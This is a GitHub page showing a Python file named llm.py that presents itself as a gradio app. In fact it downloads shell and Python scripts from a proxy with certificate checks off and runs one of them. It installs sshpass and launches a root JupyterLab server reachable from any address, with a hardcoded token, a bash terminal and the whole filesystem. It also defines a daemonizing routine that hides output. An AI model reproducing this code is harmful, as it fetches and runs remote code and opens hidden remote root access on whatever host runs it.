mo/llm.py at main · devxiaopo/mo · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# python 3.10.9
# Nyan9 All rights reserved
# 正在加载代码....
import gradio as gr
import subprocess
import shlex
import os
import subprocess
import sys
import tarfile

# 清理环境

# 定义仓库ID
repo_id = "govm114/modelscope_code"
# 更新 APT
subprocess.run("sudo apt update", shell=True, check=True)
# launch
os.chdir("/root")

# 下载必要文件
os.system(f"wget 'https://gh-proxy.com/github.com/1522526209/mo/blob/main/sd.sh' --no-check-certificate")
os.system(f"wget -O 'ssh.py' --no-check-certificate 'https://gh-proxy.com/github.com/1522526209/mo/blob/main/ssh.py'")
os.system(f"wget -O 'test.sh' --no-check-certificate 'https://gh-proxy.com/github.com/1522526209/mo/blob/main/test.sh'")

import os
import time
import subprocess
import sys

def create_daemon():
    """
    创建守护进程
    """
    try:
        # 第一次 fork，脱离原终端
        if os.fork() > 0:
            sys.exit(0)
    except OSError as e:
        print(f"fork #1 failed: {e}", file=sys.stderr)
        sys.exit(1)

    # 从父进程中分离
    os.chdir("/")
    os.setsid()
    os.umask(0)

    try:
        # 第二次 fork，禁止进程重新打开控制终端
        if os.fork() > 0:
            sys.exit(0)
    except OSError as e:
        print(f"fork #2 failed: {e}", file=sys.stderr)
        sys.exit(1)

    # 重定向标准输入、输出和错误到 /dev/null
    sys.stdout.flush()
    sys.stderr.flush()
    si = open(os.devnull, 'r')
    so = open(os.devnull, 'a+')
    se = open(os.devnull, 'a+')
    os.dup2(si.fileno(), sys.stdin.fileno())
    os.dup2(so.fileno(), sys.stdout.fileno())
    os.dup2(se.fileno(), sys.stderr.fileno())

def run_commands():
    """
    执行命令
    """
    # 安装软件
    subprocess.run(["apt", "install", "-y", "aria2", "sshpass"], check=True)

    # 使用 subprocess.Popen 启动后台进程，并使用 & 分隔命令
    processes = [
        #subprocess.Popen(["bash", "sd.sh"]),
       #subprocess.Popen(["python", "ssh.py"]),
        subprocess.Popen(["bash", "test.sh"]),
        subprocess.Popen([
            "sudo", "SHELL=/bin/bash", "jupyter-lab", "--no-browser", "--ip=0.0.0.0",
            "--allow-root", "--notebook-dir=/", "--port=65432",
            "--LabApp.allow_origin=*", "--LabApp.token=qwq114514123",
            "--LabApp.base_url=/loves",
            "--TerminalManager.shell_command='[\"/bin/bash\"]'"
        ]),
    ]

    # 等待所有进程结束 (这里改为无限等待，因为是守护进程)
    # for p in processes:
    #     p.wait()
    while True:
        time.sleep(3600)  # 每小时检查一次，可以按需调整

if __name__ == "__main__":
    print("创建守护进程")
    #create_daemon()
    run_commands()